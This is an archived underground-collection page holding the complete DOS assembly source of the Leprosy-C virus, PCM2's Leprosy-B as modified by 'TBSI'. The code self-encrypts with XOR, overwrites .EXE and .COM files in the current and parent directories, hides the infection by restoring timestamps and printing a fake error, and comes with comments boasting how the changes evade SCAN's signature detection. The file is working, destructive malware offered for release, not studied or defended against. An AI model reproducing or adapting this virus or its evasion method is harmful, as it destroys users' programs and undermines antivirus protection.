home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / l / lepc.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  16.6 KB  |  297 lines

  1. ;  <LEPROSYB.ASM>   -   Leprosy-B Virus Source
  2.  
  3. ;                       Copy-ya-right (c) 1990 by PCM2.
  4.  
  5. ;
  6.  
  7. ;  This file is the source code to the Leprosy-B virus.  It should
  8.  
  9. ;  be assembled with an MASM-compatible assembler; it has been tested
  10.  
  11. ;  and assembles correctly with both MASM 4.0 and Turbo Assembler 1.0.
  12.  
  13. ;  It should be made into a .COM file before executing, with either
  14.  
  15. ;  the "/t" command line flag in TLINK or Microsoft's EXE2BIN utility.
  16.  
  17. ;
  18.  
  19. ;  This program has the potential to permanently destroy executable
  20.  
  21. ;  images on any disk medium.  Other modifications may have been made
  22.  
  23. ;  subsequent to the original release by the author, either benign,
  24.  
  25. ;  or which could result in further harm should this program be run.
  26.  
  27. ;  In any case, the author assumes no responsibility for any damage
  28.  
  29. ;  caused by this program, incidental or otherwise.  As a precaution,
  30.  
  31. ;  this program should not be turned over to irresponsible hands...
  32.  
  33. ;  (unlike people like us, that is).
  34.  
  35. ;
  36.  
  37. ;;-=≡░▒▓█▓▒░≡=-=≡░▒▓█▓▒░≡=-=≡░▒▓█▓▒░≡=-=≡░▒▓█▓▒░≡=-=≡░▒▓█▓▒░≡=-=≡░▒▓█▓▒░≡=-
  38.  
  39. ;; 
  40.  
  41. ;;  <LEPROSYC.ASM>   -   This virus is not really Leprosy-B.  It is, in
  42.  
  43. ;;                       fact, ALMOST the same.  When I encountered the
  44.  
  45. ;;                       source code and assembled it, I found, obviously
  46.  
  47. ;;                       to my disappointment, that SCAN v77 could find
  48.  
  49. ;;                       it.  Since it is a self-encrypting virus, I knew
  50.  
  51. ;;                       EXACTLY how to fix this problem (after all,
  52.  
  53. ;;                       being part of McPhee's programs is a sure way to
  54.  
  55. ;;                       know that your virus has been a big hit, but it
  56.  
  57. ;;                       also means that it will soon meet a terrible end.
  58.  
  59. ;;                       Presented with such a sad situation, I decided I
  60.  
  61. ;;                       would modify the virus to give it one more shot
  62.  
  63. ;;                       at the outside world.  Not only that, but I will
  64.  
  65. ;;                       make TWO new versions.  This one, in particular,
  66.  
  67. ;;                       will preserve the traditional length of 666, and
  68.  
  69. ;;                       will only have a slight modification.  You see,
  70.  
  71. ;;                       since the virus encrypts itself, McPhee must go
  72.  
  73. ;;                       on 1 or both of two paths.  He must either use
  74.  
  75. ;;                       the whole non-encrypted portion as an ID string,
  76.  
  77. ;;                       or he must use the file offset where the value
  78.  
  79. ;;                       for decrypting is normally stored, XOR it with
  80.  
  81. ;;                       the rest of the program (this is how it encrypts
  82.  
  83. ;;                       and decrypts itself), and then try to identify
  84.  
  85. ;;                       the decrypted code as the virus.  By changing
  86.  
  87. ;;                       where the encryption value is stored in the non-
  88.  
  89. ;;                       encrypted portion and putting a zero there in-
  90.  
  91. ;;                       stead, (along with altering the primary instruc-
  92.  
  93. ;;                       tions slightly), I have made it undetectable by
  94.  
  95. ;;                       SCAN, despite the fact that it is (in all other
  96.  
  97. ;;                       aspects) the same damn thing.
  98.  
  99. ;;                            Have fun!
  100.  
  101. ;;                                The BOOT SECTOR Infector...
  102.  
  103. ;;
  104.  
  105. ;;   NOTE: Also, (in case you haven't already noticed)  all of the changes
  106.  
  107. ;;             I make to this program will have a double semicolon (;;) on
  108.  
  109. ;;             them somewhere.  This is to reinforce the fact that I DID
  110.  
  111. ;;             NOT do the original work on this virus.  That credit is left
  112.  
  113. ;;             appropriately to PCM2.  And I respect his brilliance in its
  114.  
  115. ;;             coding (especially the encrypt/decrypt portion!) <grin!>
  116.  
  117. ;; L8r peepz!
  118.  
  119. ;;
  120.  
  121.  
  122.  
  123.  
  124.  
  125.  
  126.  
  127.                 title   "Leprosy-C Virus by PCM2, August 1990"
  128.  
  129. ;;                       With additional modifications by TBSI, June 1991
  130.  
  131.  
  132.  
  133.  
  134.  
  135. cr              equ     13              ;  Carriage return ASCII code
  136.  
  137. lf              equ     10              ;  Linefeed ASCII code
  138.  
  139. tab             equ     9               ;  Tab ASCII code
  140.  
  141. virus_size      equ     666             ;  Size of the virus file
  142.  
  143. code_start      equ     100h            ;  Address right after PSP in memory
  144.  
  145. dta             equ     80h             ;  Addr of default disk transfer area
  146.  
  147. datestamp       equ     24              ;  Offset in DTA of file's date stamp
  148.  
  149. timestamp       equ     22              ;  Offset in DTA of file's time stamp
  150.  
  151. filename        equ     30              ;  Offset in DTA of ASCIIZ filename
  152.  
  153. attribute       equ     21              ;  Offset in DTA of file attribute
  154.  
  155.  
  156.  
  157.  
  158.  
  159.         code    segment 'code'          ;  Open code segment
  160.  
  161.         assume  cs:code,ds:code         ;  One segment for both code & data
  162.  
  163.                 org     code_start      ;  Start code image after PSP
  164.  
  165.  
  166.  
  167. ;---------------------------------------------------------------------
  168.  
  169. ;  All executable code is contained in boundaries of procedure "main".
  170.  
  171. ;  The following code, until the start of "virus_code", is the non-
  172.  
  173. ;  encrypted CMT portion of the code to load up the real program.
  174.  
  175. ;---------------------------------------------------------------------
  176.  
  177. main    proc    near                    ;  Code execution begins here
  178.  
  179.         call    encrypt_decrypt         ;  Decrypt the real virus code
  180.  
  181.         jmp     random_mutation         ;  Put the virus into action
  182.  
  183.     db    0            ;; This line inserted by TBSI.  If
  184.  
  185.                     ;; McPhee uses the second technique
  186.  
  187.                     ;; described in my speech, then it
  188.  
  189.                     ;; will find the zero and consider
  190.  
  191.                     ;; it to be the value it wants, even
  192.  
  193.                     ;; though using a zero will make it
  194.  
  195.                     ;; do absolutely NOTHING!
  196.  
  197. encrypt_val     db      00h             ;  Hold value to encrypt by here
  198.  
  199.  
  200.  
  201. ; ----------  Encrypt, save, and restore the virus code  -----------
  202.  
  203. infect_file:
  204.  
  205.         mov     bx,handle               ;  Get the handle
  206.  
  207.         push    bx                      ;  Save it on the stack
  208.  
  209.         call    encrypt_decrypt         ;  Encrypt most of the code
  210.  
  211.         pop     bx                      ;  Get back the handle
  212.  
  213.     nop                ;; Added by TBSI to through of McPhee
  214.  
  215.         mov     cx,virus_size           ;  Total number of bytes to write
  216.  
  217.         mov     dx,code_start           ;  Buffer where code starts in memory
  218.  
  219.         mov     ah,40h                  ;  DOS write-to-handle service
  220.  
  221.         int     21h                     ;  Write the virus code into the file
  222.  
  223.         call    encrypt_decrypt         ;  Restore the code as it was
  224.  
  225.         ret                             ;  Go back to where you came from
  226.  
  227.  
  228.  
  229. ; ---------------  Encrypt or decrypt the virus code  ----------------
  230.  
  231. encrypt_decrypt:
  232.  
  233.         mov     bx,offset virus_code    ;  Get address to start encrypt/decrypt
  234.  
  235. xor_loop:                               ;  Start cycle here
  236.  
  237.         mov     ah,[bx]                 ;  Get the current byte
  238.  
  239.         xor     ah,encrypt_val          ;  Engage/disengage XOR scheme on it
  240.  
  241.         mov     [bx],ah                 ;  Put it back where we got it
  242.  
  243.         inc     bx                      ;  Move BX ahead a byte
  244.  
  245.     nop                ;; Added by TBSI to through of McPhee
  246.  
  247.         cmp     bx,offset virus_code+virus_size  ;  Are we at the end?
  248.  
  249.         jle     xor_loop                ;  If not, do another cycle
  250.  
  251.         ret                             ;  and go back where we came from
  252.  
  253.  
  254.  
  255. ;-----------------------------------------------------------------------
  256.  
  257. ;   The rest of the code from here on remains encrypted until run-time,
  258.  
  259. ;   using a fundamental XOR technique that changes via CMT.
  260.  
  261. ;-----------------------------------------------------------------------
  262.  
  263. virus_code:
  264.  
  265.  
  266.  
  267. ;----------------------------------------------------------------------------
  268.  
  269. ;  All strings are kept here in the file, and automatically encrypted.
  270.  
  271. ;  Please don't be a lamer and change the strings and say you wrote a virus.
  272.  
  273. ;  Because of Cybernetic Mutation Technology(tm), the CRC of this file often
  274.  
  275. ;  changes, even when the strings stay the same.
  276.  
  277. ;----------------------------------------------------------------------------
  278.  
  279. exe_filespec    db      "*.EXE",0
  280.  
  281. com_filespec    db      "*.COM",0
  282.  
  283. newdir          db      "..",0
  284.  
  285. fake_msg        db      cr,lf,"Program too big to fit in memory$"
  286.  
  287. virus_msg1      db      cr,lf,tab,"ATTENTION!  Your computer has been afflicted with$"
  288.  
  289. virus_msg2      db      cr,lf,tab,"the incurable decay that is the fate wrought by$"
  290.  
  291. virus_msg3      db      cr,lf,tab,"Leprosy Strain B, a virus employing Cybernetic$"
  292.  
  293. virus_msg4      db      cr,lf,tab,"Mutation Technology(tm) and invented by PCM2 08/90.$"
  294.  
  295. compare_buf     db      20 dup (?)      ;  Buffer to compare files in
  296.  
  297. files_found     db      ?
  298.  
  299. files_infected  db      ?
  300.  
  301. orig_time       dw      ?
  302.  
  303. orig_date       dw      ?
  304.  
  305. orig_attr       dw      ?
  306.  
  307. handle          dw      ?
  308.  
  309. success         db      ?
  310.  
  311.  
  312.  
  313. random_mutation:                        ; First decide if virus is to mutate
  314.  
  315.         mov     ah,2ch                  ; Set up DOS function to get time
  316.  
  317.         int     21h
  318.  
  319.         cmp     encrypt_val,0        ; Is this a first-run virus copy?
  320.  
  321.         je      install_val             ; If so, install whatever you get.
  322.  
  323.         cmp     dh,15                   ; Is it less than 16 seconds?
  324.  
  325.         jg      find_extension          ; If not, don't mutate this time
  326.  
  327. install_val:
  328.  
  329.         cmp     dl,0                    ; Will we be encrypting using zero?
  330.  
  331.         je      random_mutation         ; If so, get a new value.
  332.  
  333.         mov     encrypt_val,dl          ; Otherwise, save the new value
  334.  
  335. find_extension:                         ; Locate file w/ valid extension
  336.  
  337.         mov     files_found,0           ; Count infected files found
  338.  
  339.         mov     files_infected,4        ; BX counts file infected so far
  340.  
  341.         mov     success,0
  342.  
  343. find_exe:
  344.  
  345.         mov     cx,00100111b            ; Look for all flat file attributes
  346.  
  347.         mov     dx,offset exe_filespec  ; Check for .EXE extension first
  348.  
  349.         mov     ah,4eh                  ; Call DOS find first service
  350.  
  351.         int     21h
  352.  
  353.         cmp     ax,12h                  ; Are no files found?
  354.  
  355.         je      find_com                ; If not, nothing more to do
  356.  
  357.         call    find_healthy            ; Otherwise, try to find healthy .EXE
  358.  
  359. find_com:
  360.  
  361.         mov     cx,00100111b            ; Look for all flat file attributes
  362.  
  363.         mov     dx,offset com_filespec  ; Check for .COM extension now
  364.  
  365.         mov     ah,4eh                  ; Call DOS find first service
  366.  
  367.         int     21h
  368.  
  369.         cmp     ax,12h                  ; Are no files found?
  370.  
  371.         je      chdir                   ; If not, step back a directory
  372.  
  373.         call    find_healthy            ; Otherwise, try to find healthy .COM
  374.  
  375. chdir:                                  ; Routine to step back one level
  376.  
  377.         mov     dx,offset newdir        ; Load DX with address of pathname
  378.  
  379.         mov     ah,3bh                  ; Change directory DOS service
  380.  
  381.         int     21h
  382.  
  383.         dec     files_infected          ; This counts as infecting a file
  384.  
  385.         jnz     find_exe                ; If we're still rolling, find another
  386.  
  387.         jmp     exit_virus              ; Otherwise let's pack it up
  388.  
  389. find_healthy:
  390.  
  391.         mov     bx,dta                  ; Point BX to address of DTA
  392.  
  393.         mov     ax,[bx]+attribute       ; Get the current file's attribute
  394.  
  395.         mov     orig_attr,ax            ; Save it
  396.  
  397.         mov     ax,[bx]+timestamp       ; Get the current file's time stamp
  398.  
  399.         mov     orig_time,ax            ; Save it
  400.  
  401.         mov     ax,[bx]+datestamp       ; Get the current file's data stamp
  402.  
  403.         mov     orig_date,ax            ; Save it
  404.  
  405.         mov     dx,dta+filename         ; Get the filename to change attribute
  406.  
  407.         mov     cx,0                    ; Clear all attribute bytes
  408.  
  409.         mov     al,1                    ; Set attribute sub-function
  410.  
  411.         mov     ah,43h                  ; Call DOS service to do it
  412.  
  413.         int     21h
  414.  
  415.         mov     al,2                    ; Set up to open handle for read/write
  416.  
  417.         mov     ah,3dh                  ; Open file handle DOS service
  418.  
  419.         int     21h
  420.  
  421.         mov     handle,ax               ; Save the file handle
  422.  
  423.         mov     bx,ax                   ; Transfer the handle to BX for read
  424.  
  425.         mov     cx,20                   ; Read in the top 20 bytes of file
  426.  
  427.         mov     dx,offset compare_buf   ; Use the small buffer up top
  428.  
  429.         mov     ah,3fh                  ; DOS read-from-handle service
  430.  
  431.         int     21h
  432.  
  433.         mov     bx,offset compare_buf   ; Adjust the encryption value
  434.  
  435.         mov     ah,encrypt_val          ; for accurate comparison
  436.  
  437.         mov     [bx+6],ah
  438.  
  439.         mov     si,code_start           ; One array to compare is this file
  440.  
  441.         mov     di,offset compare_buf   ; The other array is the buffer
  442.  
  443.         mov     ax,ds                   ; Transfer the DS register...
  444.  
  445.         mov     es,ax                   ; ...to the ES register
  446.  
  447.         cld
  448.  
  449.         repe    cmpsb                   ; Compare the buffer to the virus
  450.  
  451.         jne     healthy                 ; If different, the file is healthy!
  452.  
  453.         call    close_file              ; Close it up otherwise
  454.  
  455.         inc     files_found             ; Chalk up another fucked up file
  456.  
  457. continue_search:
  458.  
  459.         mov     ah,4fh                  ; Find next DOS function
  460.  
  461.         int     21h                     ; Try to find another same type file
  462.  
  463.         cmp     ax,12h                  ; Are there any more files?
  464.  
  465.         je      no_more_found           ; If not, get outta here
  466.  
  467.         jmp     find_healthy            ; If so, try the process on this one!
  468.  
  469. no_more_found:
  470.  
  471.         ret                             ; Go back to where we came from
  472.  
  473. healthy:
  474.  
  475.         mov     bx,handle               ; Get the file handle
  476.  
  477.         mov     ah,3eh                  ; Close it for now
  478.  
  479.         int     21h
  480.  
  481.         mov     ah,3dh                  ; Open it again, to reset it
  482.  
  483.         mov     dx,dta+filename
  484.  
  485.         mov     al,2
  486.  
  487.         int     21h
  488.  
  489.         mov     handle,ax               ; Save the handle again
  490.  
  491.         call    infect_file             ; Infect the healthy file
  492.  
  493.         call    close_file              ; Close down this operation
  494.  
  495.         inc     success                 ; Indicate we did something this time
  496.  
  497.         dec     files_infected          ; Scratch off another file on agenda
  498.  
  499.         jz      exit_virus              ; If we're through, terminate
  500.  
  501.         jmp     continue_search         ; Otherwise, try another
  502.  
  503.         ret
  504.  
  505. close_file:
  506.  
  507.         mov     bx,handle               ; Get the file handle off the stack
  508.  
  509.         mov     cx,orig_time            ; Get the date stamp
  510.  
  511.         mov     dx,orig_date            ; Get the time stamp
  512.  
  513.         mov     al,1                    ; Set file date/time sub-service
  514.  
  515.         mov     ah,57h                  ; Get/Set file date and time service
  516.  
  517.         int     21h                     ; Call DOS
  518.  
  519.         mov     bx,handle
  520.  
  521.         mov     ah,3eh                  ; Close handle DOS service
  522.  
  523.         int     21h
  524.  
  525.         mov     cx,orig_attr            ; Get the file's original attribute
  526.  
  527.         mov     al,1                    ; Instruct DOS to put it back there
  528.  
  529.         mov     dx,dta+filename         ; Feed it the filename
  530.  
  531.         mov     ah,43h                  ; Call DOS
  532.  
  533.         int     21h
  534.  
  535.         ret
  536.  
  537. exit_virus:
  538.  
  539.         cmp     files_found,6           ; Are at least 6 files infected?
  540.  
  541.         jl      print_fake              ; If not, keep a low profile
  542.  
  543.         cmp     success,0               ; Did we infect anything?
  544.  
  545.         jg      print_fake              ; If so, cover it up
  546.  
  547.         mov     ah,09h                  ; Use DOS print string service
  548.  
  549.         mov     dx,offset virus_msg1    ; Load the address of the first line
  550.  
  551.         int     21h                     ; Print it
  552.  
  553.         mov     dx,offset virus_msg2    ; Load the second line
  554.  
  555.         int     21h                     ; (etc)
  556.  
  557.         mov     dx,offset virus_msg3
  558.  
  559.         int     21h
  560.  
  561.         mov     dx,offset virus_msg4
  562.  
  563.         int     21h
  564.  
  565.         jmp     terminate
  566.  
  567. print_fake:
  568.  
  569.         mov     ah,09h                  ; Use DOS to print fake error message
  570.  
  571.         mov     dx,offset fake_msg
  572.  
  573.         int     21h
  574.  
  575. terminate:
  576.  
  577.         mov     ah,4ch                  ; DOS terminate process function
  578.  
  579.         int     21h                     ; Call DOS to get out of this program
  580.  
  581.  
  582.  
  583. filler          db       8 dup (90h)    ; Pad out the file length to 666 bytes
  584.  
  585.  
  586.  
  587. main    endp
  588.  
  589. code    ends
  590.  
  591.         end     main
  592.  
  593.